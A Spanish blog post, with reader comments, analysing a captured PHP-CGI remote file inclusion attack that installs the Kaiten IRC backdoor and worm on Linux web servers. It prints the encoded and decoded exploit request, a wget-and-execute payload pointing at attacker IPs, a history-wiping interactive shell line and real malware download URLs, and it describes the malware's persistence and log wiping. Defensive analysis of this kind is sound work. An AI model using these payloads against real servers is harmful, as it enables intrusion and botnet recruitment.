30 julio 2014

¿Qué Linux no tiene malware? Marchando un ejemplo!




Entre los debates más manidos en los círculos de seguridad informática y administración de sistemas, junto a qué es el hacking, qué lenguaje es mejor para scripting, el responsible versus el full disclosure, nos encontramos con uno de los que podría ser trending topic: ¿Qué Sistema Operativo es mejor? Argumentos como la compatibilidad o la cantidad de software y drivers existentes, hacen que Windows se lleve la palma. Por contra la usabilidad, el cuidado diseño y el hardware utilizado nos invitan a quedarnos con Mac OS X. Sin embargo, los defensores de la estabilidad y la seguridad nos hacen decantarnos por Linux sin duda alguna. En este rifi rafe, claramente Windows es el que mayor catálogo de piezas de malware tiene, seguido de lejos por Linux y Mac. Pese a ser basados estos últimos en UNIX, cierto es que en Linux, al ser menos hermético que Mac, nos permite configurar mucho mejor la seguridad y entender qué está haciendo el sistema operativo en cada momento. 

Sin embargo, y pese a que es cierto que el porcentaje de malware y de vulnerabilidades no es tan popular en los entornos del pingüino, el que esté libre de malware que tire la primera piedra.

Revisar los logs producidos por diferentes sistemas de seguridad perimetral es una de las tareas que todo entusiasta o integrante de un departamento de seguridad tiene que hacer de forma permanente. Ya no sólo por asegurar que todo está correcto, sino también por aprender de los ataques recibidos y dormir tranquilo sabiendo que todo ha sido bloqueado, o montar un gabinete de crisis para gestionar un incidente de seguridad.

En este caso, revisando los logs producidos por una sonda Snort, encargada de analizar el tráfico recibido por un servidor web (que como podréis imaginar, es de los servicios que más peticiones y más aberraciones recibe) me encontré con múltiples ocurrencias de un evento de tipo RFI (Remote File Inclusion): "SERVER-WEBAPP PHP-CGI remote file include attempt"





La parte interesante y complicada de ver a simple vista es el payload: POST /cgi-bin/php-cgi?%2D%64+%61%6C%6C%6F%77%5F%75%72%6C%5F%69%6E%63%6C%75%64%65%3D%6F%6E+%2D%64+%73%61%66%65%5F%6D%6F%64%65%3D%6F%66%66+%2D%64+%73%75%68%6F%73%69%6E%2E%73%69%6D%75%6C%61%74%69%6F%6E%3D%6F%6E+%2D%64+%64%69%73%61%62%6C%65%5F%66%75%6E%63%74%69%6F%6E%73%3D%22%22+%2D%64+%6F%70%65%6E%5F%62%61%73%65%64%69%72%3D%6E%6F%6E%65+%2D%64+%61%75%74%6F%5F%70%72%65%70%65%6E%64%5F%66%69%6C%65%3D%70%68%70%3A%2F%2F%69%6E%70%75%74+%2D%64+%63%67%69%2E%66%6F%72%63%65%5F%72%65%64%69%72%65%63%74%3D%30+%2D%64+%63%67%69%2E%72%65%64%69%72%65%63%74%5F%73%74%61%74%75%73%5F%65%6E%76%3D%30+%2D%6E HTTP/1.1

Como se puede ver, la petición viene “ofuscada” mediante URL Encoding, a fin de evadir precisamente a algunos IDS (e incluso WAFs). Realmente, el contenido de la URL en la petición POST es: POST /cgi-bin/php-cgi?-d+allow_url_include%3Don+-d+safe_mode%3Doff+-d+suhosin.simulation%3Don+-d+disable_functions%3D""+-d+open_basedir%3Dnone+-d+auto_prepend_file%3Dphp%3A%2F%2Finput+-d+cgi.force_redirect%3D0+-d+cgi.redirect_status_env%3D0+-n 

Es decir, configura de forma débil ciertos parámetros de PHP para ejecutar lo que viene en el POST DATA:




<?php system("wget http://219.122.43.173/sh -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh");

Aha, o sea que lo que ejecuta, en el lado servidor es un: “Descarga el fichero sh que está en 219.122.43.173 (en Japón)  y déjalo en /tmp/sh, ejecútalo y bórralo sin dejar rastro”….

¿Qué tiene dentro el fichero sh? La curiosidad mató al gato, así que lo mejor para salir de dudas, es descargarlo y verlo:




Básicamente: Descárgate dentro del directorio /dev/shm (localización utilizada en Linux para memoria compartida, con formato tmpfs, es decir, donde a nadie se le ocurriría mirar) el fichero xx desde un servidor que está en Vietnam, hazlo "invisible" haciendo que empiece por '.' y ejecútalo. Descarga otro fichero llamado ru y otro llamado rr, y ejecuta ambos y bórralos de ahí. A partir de ahí mata un montón de procesos que están en memoria, y añade al cron la tarea de hacer esto semanalmente (por si alguien lo descubre y lo borra, así mantenemos la persistencia)  

Si analizamos uno a uno los tres binarios xx, ru y rr, se puede ver lo siguiente.

Si le hacemos un strings a “xx”, podemos ver varios indicios que dejan clara la funcionalidad del binario: un bot de IRC que permite hacer Denegación de Servicio a un host determinado backdoorizando la máquina en la que se ejecuta.





Si buscamos la cadena mágica "Kaiten wa Goraku” que aparece en el subset de strings mencionado arriba, nos lleva directos al código fuente del Backdoor Kaiten 

El fichero ru, es un fichero BASH que se descarga un fichero u otro dependiendo de la arquitectura del sistema 86.tgz o 64.tgz almacenados en un servidor que está en Hungría, descomprime el contenido y lo ejecuta:




Llegado a este punto, descargué 64.tgz y lo descomprimí. En concreto aparecieron tres ficheros: run, php y pnscan.

run es un script en BASH que contiene lo siguiente:



Es decir, genera un número aleatorio, y lanza el binario pnscan con parámetros que escanea rangos de red aleatorios.


De hecho, está claro que pnscan es un scanner de puertos, ya no sólo porque lo indique el nombre, sino que lo podemos comprobar en un strings del mismo

Usage: %s [] [{| } | ]
This program implements a multithreaded TCP port scanner.
More information may be found at:
        http://www.lysator.liu.se/~pen/pnscan
Command line options:
        -h             Display this information.
        -V             Print version.
        -d             Print debugging info.
        -s             Lookup and print hostnames.
        -i             Ignore case when scanning responses.
        -S             Enable shutdown mode.
        -l             Line oriented output.
        -w     Request string to send.
        -W   Hex coded request string to send.
        -r     Response string to look for.
        -R   Hex coded response string to look for.
        -L     Max bytes to print.
        -t      Connect/Write/Read timeout.
        -n    Concurrent worker threads limit.
%s: Invalid length specification: %s
%s: Invalid timeout specification: %s
%s: Invalid workers specification: %s
%s: unknown command line switch: -%c
%s: Failed search string setup: %s
%s: Missing or extra argument(s). Use '-h' for help.

%s: Invalid IP address range: %s

Y el fichero php descargado ¿para qué vale? Pues fundamentalmente, dentro de pnscan, se encuentra la resolución de esa incógnita:

./php --target %s --port 80 --protocol http --reverse-ip 12.8.8.8 --reverse-port 80

Es decir, cuando pnscan encuentra un servidor vulnerable, llama a php, que en su interior lleva el veneno que hace la petición:

POST %s?%%2D%%64+%%61%%6C%%6C%%6F%%77%%5F%%75%%72%%6C%%5F%%69%%6E%%63%%6C%%75%%64%%65%%3D%%6F%%6E+%%2D%%64+%%73%%61%%66%%65%%5F%%6D%%6F%%64%%65%%3D%%6F%%66%%66+%%2D%%64+%%73%%75%%68%%6F%%73%%69%%6E%%2E%%73%%69%%6D%%75%%6C%%61%%74%%69%%6F%%6E%%3D%%6F%%6E+%%2D%%64+%%64%%69%%73%%61%%62%%6C%%65%%5F%%66%%75%%6E%%63%%74%%69%%6F%%6E%%73%%3D%%22%%22+%%2D%%64+%%6F%%70%%65%%6E%%5F%%62%%61%%73%%65%%64%%69%%72%%3D%%6E%%6F%%6E%%65+%%2D%%64+%%61%%75%%74%%6F%%5F%%70%%72%%65%%70%%65%%6E%%64%%5F%%66%%69%%6C%%65%%3D%%70%%68%%70%%3A%%2F%%2F%%69%%6E%%70%%75%%74+%%2D%%64+%%63%%67%%69%%2E%%66%%6F%%72%%63%%65%%5F%%72%%65%%64%%69%%72%%65%%63%%74%%3D%%30+%%2D%%64+%%63%%67%%69%%2E%%72%%65%%64%%69%%72%%65%%63%%74%%5F%%73%%74%%61%%74%%75%%73%%5F%%65%%6E%%76%%3D%%30+%%2D%%6E HTTP/1.1
Host: %s
User-Agent: Mozilla/5.0 (iPad; CPU OS 6_0 like Mac OS X) AppleWebKit/536.26(KHTML, like Gecko) Version/6.0 Mobile/10A5355d Safari/8536.25
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
Connection: close

Llama la atención también el valor de la variable $shell, de manera que cada vez que llama a Bash, deshabilite el registro de comandos ejecutados en el fichero .bash_history, así como el número de comandos ejecutados que se guardan en memoria, mira info del kernel y la arquitectura, qué usuarios tienen una sesión abierta en el sistema, y el id del usuario que está ejecutando la shell. Después de esto, dame una shell interactiva


$shell = 'unset HISTFILE; unset HISTSIZE; uname -a; w; id; /bin/sh -i';


Por tanto, podemos decir, que Kaiten, sigue el patrón de funcionamiento de cualquier malware:

1.-) Compromete el sistema, en este caso backdooriza la máquina Linux (para la que no hay malware, claro está ;D), borra sus huellas y trazas (incluso elimina el fichero /var/log/messages y modifica parámetros de syslog para que no registre eventos)
2.-) Busca forma de mantener persistencia al arranque o borrado, insertando una tarea programada en el cron del sistema,
3.-) Intenta propagarse a sí misma con un comportamiento de gusano, buscando servidores vulnerables a través de internet.

Para todo este proceso, utiliza diferentes servidores desplegados por Asia fundamentalmente (al menos la muestra que yo he analizado aquí): Japón, Vietnam, Korea,… e incluso Hungría para descargar los ficheros 86.tgz y 64.tgz. Googleando, dí con un par de versiones que tiran de otros dominios como http://member.pure-hearts.info/plugins/access.ssh/64.tgz y http://member.pure-hearts.info/plugins/access.ssh/86.tgz, claramente web vulneradas en las que los atancantes utilizan como repositorios de descarga de estos ficheros para otras muestras que estén escaneando internet, y de las que son eliminados los ficheros con una frecuencia mayor.

Y todo este tinglado, con una simple petición desde vaya usted a saber qué parte del mundo, hace que tu inocente servidor web, por estar mal configurado y securizado, pueda llegar a tener vida propia.

17 comments :

Jaime dijo...

Javascript != urlencode ;)

Lorenzo Martínez dijo...

Tienes toda la razón! Fallo mío... Lo modifico.

miguel dijo...

A este buen análisis le faltaría poner cómo protegerse de estos ataques. Aquí se habla de ello: http://security.stackexchange.com/questions/46566/protect-against-post-cgi-bin-php-attacks

Básicamente se trata de no poner ningún intérprete en los directorios que alojan cgi. Si no se usa ningún cgi, deshabilitar esos directorios en la configuración de apache.

Otra cosa:

No cuesta nada usar palabras que sí están en el diccionario...

'usabilidad' -> facilidad de uso

'ofuscada' -> Aunque está en el diccionario, se utiliza mal. Lo suyo es "cifrada".

'Aha' -> ¡Ajá!

'backdoorizar' -> ¡Me duelen los ojos al leer esto! ¿No sería mejor decir: abriendo una puerta trasera? (Sí es más largo, pero con soportar las idas de olla de la R.A.E. ya tenemos bastante: cederrón http://lema.rae.es/drae/?val=cederr%C3%B3n).
'securizado' -> Asegurado.


Siento ser un poco mosca-cojonera con este tema, pero no cuesta ná escribir bien, sobre todo si te dedicas a ello.


Buen artículo, Lorenzo.
Saludos.

Jesus Angosto dijo...

Muy bueno Lorenzo, y menudo curro!!
Un gran post!

Lorenzo_Martinez dijo...

Hola Miguel. Muchas gracias por tus comentarios.
Efectivamente, estaría bien también indicar cómo hardenizar, digooooo securizar...uy perdón, bastionar... bueno, lo que diga la RAE para estos casos para 'hacer más segura la máquina y lo que hay dentro' ;) ;).
Ya sabes, configurar bien las opciones del sistema operativo, aplicaciones que corren en ella, lo que se publica en Apache, lo bien o mal programado del código, etc, etc,....
Respecto a la crítica literaria, aparte de que "ofuscar" no es lo mismo que "cifrar". Y que IMHO, Securizar queda bien y se entiende y que "Asegurar" es decidir si lo quieres a terceros o a todo riesgo con franquicia (imagínate ahora tener que cambiar el nombre a mi empresa de Securízame a Asegúrame... :D), nada tengo que decirte al respecto.

Lo más importante es: ¿Hay alguna palabra que no hayas entendido? ¿pierde sentido el post? ¿he cometido alguna falta ortográfica real? Eso sí que entendería que te hiciera sangrar los ojos, pero por poner "backdoorizar" para significar que el malware añade un "backdoor" al sistema.... "puerta-traserizar" me suena peor eh? ;D
Gracias!

torronidas dijo...

Malware es software y por lo tanto dependiendo de cuanta gente quiera programar código malicioso habrá más o menos cantidad de malware... La seguridad de sistemas GNU/Linux deriva en gran parte de su filosofía. Los problemas de seguridad se resuelven a gran velocidad y las aplicaciones en su mayoría son software libre y están en los repositorios oficiales a golpe de comando / clik para instalarlas, un entorno más confiable.

En entornos microsoft / Apple la gente instala los programas buscando en google, donde ya los primeros resultados son siempre patrocinados y el 50% con virus o publicidad que te invita a instalarte bonitos exe. Actualmente es lo que sudece, ya veremos en un futuro.

Claro que hay formas de infectar sistemas linux,... infectar un sistemas no es más que hacer un programa (malicioso) funcione en el sistema operativo, ejemplo rm -fr /. Malware para sistemas operativos... todo el que se quiera, capacidad y comodidad de propagación para el mismo,.. eso ya varía.

Saludos

Anonimo dijo...

Se soluciona si en el fstab a la partición /tmp (que debería estar separada) le quitas los permisos de ejecución. Aunque hay forma de saltarselo también, la mayoría de ataques de este tipo dan por hecho que funcionará.

Si no está la partición separada, siempre se puede usar tmpfs:

tmpfs /tmp tmpfs rw,noexec,nodev,nosuid 0 0

Adrian dijo...

Buen post, pero no me queda claro el título ni chiste de la "máquina Linux (para la que no hay malware, claro está ;D)".
Claro está que no existe sistema 100% seguro, a menos que se lo desconecte de la red...
La cuestión de seguridad en Linux es que por muchas razones que no vale la pena enumerar aquí se considera el sistema mas seguro en la gran mayoría de las ocasiones. Y claro está que un servicio con ciertas debilidades como PHP sumado a una mala la configuración puede dejar la puerta abierta a este tipo de fallos. Solo digo, muy buen post, pero no entendí porque cargar así contra el pingüino en ciertos comentarios ;)

εisεηhεiμ dijo...

Me gustó mucho la publicación, excelente forma de ir explicando la forma de rastrear un intento de 'malware'. Y pues si, no existe un sistema 100%, a menos que este apagado; pero sin duda este tipo de información brindan conocimiento a más personas, para que se apliquen las técnicas de 'hardening' correspondientes, dependiendo de cada sysadmin.

Venom dijo...

Muy buen artículo.

Mark VR dijo...

No se nada de programación ni mucho de GNU/Linux, pero esto: <?php system("wget http://219.122.43.173/sh -O /tmp/sh;sh /tmp/sh;rm -rf /tmp/sh"); ¿No necesita ser autorizado por el superusuario?....

mauro dijo...

hola buen post, pregunta, php posee los permisos necesarios para que el malware pueda ejecutar los comandos que posee?, como por ejemplo "chmod +x" que normalmente nos pide contraseña.saludos

Pwnakil dijo...

Claro, ya que se ejecuta en una carpeta que dispone todo los permisos y por ende no pedirá contraseña

Pwnakil dijo...

Excelente articulo

Malevolent dijo...

Yo de hasefroch recalcaría más que los drivers, que es la plataforma por excelencia de los videojuegos.

El kernel de linux out-of-the-box detecta gran cantidad de hardware, muchísimo mas que el de microsoft, que sin drivers no detecta casi nada. Cierto es que los fabricantes incluyen sí o sí los drivers de sus dispositivos para windows (y muchos para mac), pero para el usuario doméstico eso ha sido y sigue siendo algo esotérico, se hace la picha un lío, y acanda instalando asistentes, actualizadores, monitores y servicios innecesarios que ralentizan un sistema ya de por sí bastante lento (comparado con los *NIX, no entre ellos)

No sé si sabes la cara de pasmao que se le queda a uno de esos usuarios cuando para recuperarles las fotos de su pc viruseado, arrancas con un liveusb y en cuestion de segundos les aparece un escritorio completamente funcional: sonido, video, red, impresoras... sin hacer absolutamente nada. Ni decir tiene el software que viene de base y que no necesita instalar o instalar con un click: suit ofimática, navegadores, lectores de pdf, antivirus.

Por otro lado, el título me parece un poco sacado fuera de contexto. Ni a los más talibanes linuxeros les escucharás decir que "linux no tiene malware".

Por otro lado, ¡buen artículo!

pepito dijo...

o sea, php con permisos de SU en una máquina para servidor web, nada más alejado de la realidad, por supuesto...

Linus Torvalds dijo...

Todo muy bonito pero creo que no están siendo sinceros con ustedes mismos... Es verdad que existen virus para todos los sistemas operativos y tambien es verdad que Linux no escapa de esta realidad, el asunto no es si existen o no virus para Linux, el asunto es si pueden entrar y como lo haría sin que el virus sea superusuario (root)... Con todo respeto con este artículo no se demuestra que Linux pueda ser infectada de forma masiva en todo el mundo como si se infecta Windows... En fin, dicen que cuando la gente escucha lo que quieren que le digan muestra una gran sonrisa... Pobres...